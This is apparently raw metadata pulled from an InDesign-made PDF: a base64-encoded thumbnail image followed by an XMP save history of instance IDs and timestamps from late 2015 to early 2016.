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 JTc6PgMr6rivGBZXttad5yGuDdedoYJSU+gJKUkppW/8s4v/AIWyf+rxUlJen/8AJ+N/xNf/AFIS U2ElOV9ZQx3SLRZXVa3cyWXvNTD7hy8OZ+VJTxfpYf8A3C6d/wCxj/8A3oSUr0sP/uF07/2Mf/70 JKdD/m11D/ykxf8A2Jt/96ElK/5tdQ/8pMX/ANibf/ehJSv+bXUP/KTF/wDYm3/3oSUr/m11D/yk xf8A2Jt/96ElK/5tdQ/8pMX/ANibf/ehJSv+bXUP/KTF/wDYm3/3oSUr/m11D/ykxf8A2Jt/96El K/5tdQ/8pMX/ANibf/ehJSv+bXUP/KTF/wDYm3/3oSUr/m11D/ykxf8A2Jt/96ElK/5tdQ/8pMX/ ANibf/ehJSv+bXUP/KTF/wDYm3/3oSU2em9AzcfPx739Ix6W12NcbW32OLQDyGm5wP3JKewSUpJT St/5Zxf/AAtk/wDV4qSkvT/+T8b/AImv/qQkpsJKQZtGHkY7qs5rHUEjcLDDZB0/FJTyOb9joyrK cboePfUx0MtFoG4eMJKQerT/APO9R/28ElOn/wA6usf+Vbf+32/3JKV/zq6x/wCVbf8At9v9ySlf 86usf+Vbf+32/wBySlf86usf+Vbf+32/3JKV/wA6usf+Vbf+32/3JKV/zq6x/wCVbf8At9v9ySlf 86usf+Vbf+32/wBySlf86usf+Vbf+32/3JKV/wA6usf+Vbf+32/3JKV/zq6x/wCVbf8At9v9ySlf 86usf+Vbf+32/wBySlf86usf+Vbf+32/3JKTYX1k6pk5dOPb05tTLHhrni4O2g94hJT0aSlJKaVv /LOL/wCFsn/q8VJSXp//ACfjf8TX/wBSElNhJTl/WRjH9Jta9lVoLme3Is9Fh9w5fvZH3pKeN+y4 3/cPpn/sef8A3qSUr7Ljf9w+mf8Asef/AHqSUr7Ljf8AcPpn/sef/epJSvsuN/3D6Z/7Hn/3qSUr 7Ljf9w+mf+x5/wDepJSvsuN/3D6Z/wCx5/8AepJSvsuN/wBw+mf+x5/96klK+y43/cPpn/sef/ep JTaq+r+XdW22no+JZW8S17MqxzSPIjISUz/5tdQ/8pMX/wBibf8A3oSUr/m11D/ykxf/AGJt/wDe hJSv+bXUP/KTF/8AYm3/AN6ElK/5tdQ/8pMX/wBibf8A3oSUr/m11D/ykxf/AGJt/wDehJTZ6b0D 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 O9sSX4vn5JKf/9k= uuid:0474eab3-1c50-ad47-b4dc-ba0fea0bc0de xmp.did:04801174072068118A6DC29778E0B75A xmp.did:4467E22FC12068118A6DC2A385CD936B proof:pdf created xmp.iid:4467E22FC12068118A6DC2A385CD936B 2015-10-28T14:56:38+01:00 Adobe InDesign 7.5 saved xmp.iid:4567E22FC12068118A6DC2A385CD936B 2015-10-28T14:57:02+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:4667E22FC12068118A6DC2A385CD936B 2015-10-28T14:57:02+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:4967E22FC12068118A6DC2A385CD936B 2015-10-28T14:59:12+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:4A67E22FC12068118A6DC2A385CD936B 2015-10-28T15:44:31+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:CE9ABCCED12068118A6DC2A385CD936B 2015-10-28T15:49:08+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:D09ABCCED12068118A6DC2A385CD936B 2015-10-28T15:59:45+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:D19ABCCED12068118A6DC2A385CD936B 2015-10-28T16:35:53+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:B8955E68F42068118A6DC2A385CD936B 2015-10-29T11:44:56+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:B9955E68F42068118A6DC2A385CD936B 2015-10-29T11:44:56+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:BC955E68F42068118A6DC2A385CD936B 2015-10-29T14:11:33+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:BD955E68F42068118A6DC2A385CD936B 2015-10-29T15:09:54+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:BF955E68F42068118A6DC2A385CD936B 2015-10-29T15:45:43+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:C0955E68F42068118A6DC2A385CD936B 2015-10-29T15:49:46+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:C21F5B9D182168118A6DC2A385CD936B 2015-10-29T15:55:44+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:C31F5B9D182168118A6DC2A385CD936B 2015-10-29T16:17:56+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:C91F5B9D182168118A6DC2A385CD936B 2015-10-29T16:25:36+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:CA1F5B9D182168118A6DC2A385CD936B 2015-10-29T16:31:11+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:D3F34B161E2068118C14DDE775F18A94 2015-11-02T11:56:37+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:D4F34B161E2068118C14DDE775F18A94 2015-11-02T11:56:37+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:7F321B99252068118A6DAC9D07251188 2015-11-03T12:26:25+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:80321B99252068118A6DAC9D07251188 2015-11-03T12:26:25+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:81321B99252068118A6DAC9D07251188 2015-11-03T12:28:52+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:86321B99252068118A6DAC9D07251188 2015-11-03T14:48:44+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:87321B99252068118A6DAC9D07251188 2015-11-03T15:09:20+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:05801174072068118A6DEE3F7C49B3E1 2015-11-04T09:00:26+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:06801174072068118A6DEE3F7C49B3E1 2015-11-04T09:00:26+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:DAC4A3C8122068118A6DEE3F7C49B3E1 2015-11-04T10:20:41+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:DBC4A3C8122068118A6DEE3F7C49B3E1 2015-11-04T10:27:20+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:E0C4A3C8122068118A6DEE3F7C49B3E1 2015-11-04T10:32:42+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:7B44DAC7152068118A6DEE3F7C49B3E1 2015-11-04T10:47:48+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:8244DAC7152068118A6DEE3F7C49B3E1 2015-11-04T12:02:18+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:D0C770622E2068118A6DEE3F7C49B3E1 2015-11-04T13:32:21+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:D1C770622E2068118A6DEE3F7C49B3E1 2015-11-04T13:32:37+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:BCBEA804A82068118C14C4B8FA3648EF 2015-11-25T12:20:26+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:5E293282C12068118C14C4B8FA3648EF 2015-11-25T12:20:26+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:5F293282C12068118C14C4B8FA3648EF 2015-11-25T12:29:24+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:60293282C12068118C14C4B8FA3648EF 2015-11-25T13:23:07+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:64293282C12068118C14C4B8FA3648EF 2015-11-25T13:29:17+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:65293282C12068118C14C4B8FA3648EF 2015-11-25T13:30:26+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:66293282C12068118C14C4B8FA3648EF 2015-11-25T13:32:56+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:4B8F0399CC2068118C14C4B8FA3648EF 2015-11-25T13:54:20+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:4C8F0399CC2068118C14C4B8FA3648EF 2015-11-25T13:54:20+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:4D8F0399CC2068118C14C4B8FA3648EF 2015-11-25T14:34:47+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:4E8F0399CC2068118C14C4B8FA3648EF 2015-11-25T14:51:29+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:4F8F0399CC2068118C14C4B8FA3648EF 2015-11-25T15:18:20+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:6C683107812168118C14C4B8FA3648EF 2015-11-26T12:34:02+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:78A5E4908C2168118C14C4B8FA3648EF 2015-11-26T12:34:02+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:79A5E4908C2168118C14C4B8FA3648EF 2015-11-26T13:40:19+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:7AA5E4908C2168118C14C4B8FA3648EF 2015-11-26T14:23:59+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:7BA5E4908C2168118C14C4B8FA3648EF 2015-11-26T14:55:30+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:7EA5E4908C2168118C14C4B8FA3648EF 2015-11-26T15:20:10+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:CAD7A3DE1D2068118A6DB63404437FE8 2015-12-02T15:14:59+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:CBD7A3DE1D2068118A6DB63404437FE8 2015-12-02T15:14:59+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:CCD7A3DE1D2068118A6DB63404437FE8 2015-12-02T15:59:37+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:F77F1174072068118A6DC942F1654871 2015-12-03T10:02:39+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:F87F1174072068118A6DC942F1654871 2015-12-03T10:12:23+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:F97F1174072068118A6DF20AB5DDDB92 2015-12-03T10:43:45+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:FA7F1174072068118A6DF20AB5DDDB92 2015-12-03T10:45:41+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:FB7F1174072068118A6DF20AB5DDDB92 2015-12-03T11:32:28+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:FC7F1174072068118A6DF20AB5DDDB92 2015-12-03T11:40:52+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:FD7F1174072068118A6DF20AB5DDDB92 2015-12-03T11:52:50+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:FE7F1174072068118A6DF20AB5DDDB92 2015-12-03T12:09:06+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:FF7F1174072068118A6DF20AB5DDDB92 2015-12-03T14:56:22+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:00801174072068118A6DF20AB5DDDB92 2015-12-03T15:10:50+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:522A0197202068118A6DF20AB5DDDB92 2015-12-03T15:12:43+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:532A0197202068118A6DF20AB5DDDB92 2015-12-03T15:17:57+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:FE7F1174072068118C148BD2CDA1B32D 2015-12-03T15:30:05+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:FF7F1174072068118C148BD2CDA1B32D 2015-12-03T15:50:12+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:01801174072068118C149887B7A5943D 2015-12-03T16:05:10+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:F77F1174072068118A6DE2D81168CBC8 2015-12-03T16:47:04+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:01801174072068118A6DD8046B64D7AF 2015-12-04T08:48:49+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:02801174072068118A6DD8046B64D7AF 2015-12-04T08:50:51+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:03801174072068118A6DD8046B64D7AF 2015-12-04T08:53:57+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:04801174072068118A6DD8046B64D7AF 2015-12-04T09:01:47+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:F77F1174072068118A6D9A7672AE80C8 2015-12-04T09:24:43+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:4EDE535C962068118083AC85C2A8FA19 2015-12-12T09:55:31+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:4FDE535C962068118083AC85C2A8FA19 2015-12-14T14:22:09+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:4C7B5D87092068118A6DEEECA5FDADC5 2015-12-14T14:28:32+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:F77F1174072068118A6DDA2DC9D911E7 2015-12-14T15:25:10+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:F87F1174072068118A6DDA2DC9D911E7 2015-12-14T15:34:23+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:F97F1174072068118A6DDA2DC9D911E7 2015-12-14T15:35:52+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:50DE535C962068118083AC85C2A8FA19 2015-12-14T15:41:17+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:FA7F1174072068118A6DDA2DC9D911E7 2015-12-14T15:44:18+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:FB7F1174072068118A6DDA2DC9D911E7 2015-12-14T15:44:18+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:FC7F1174072068118A6DDA2DC9D911E7 2015-12-14T15:45:56+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:FD7F1174072068118A6DDA2DC9D911E7 2015-12-14T15:46:09+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:FE7F1174072068118A6DDA2DC9D911E7 2015-12-14T15:46:09+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:006ACA2C3A2068118A6DB64AA64B2C5C 2015-12-31T14:08:33+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:016ACA2C3A2068118A6DB64AA64B2C5C 2015-12-31T14:08:33+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:03801174072068118A6DC1FA3897EFFD 2016-01-05T08:16:43+01:00 Adobe InDesign 7.5 /;/metadata saved xmp.iid:04801174072068118A6DC1FA3897EFFD 2016-01-05T08:16:43+01:00 Adobe InDesign 7.5 /metadata saved xmp.iid:9181014B152068118A6DC1FA3897EFFD 2016-01-05T10:09:34+01:00 Adobe InDesign 7.5 /;/metadata saved 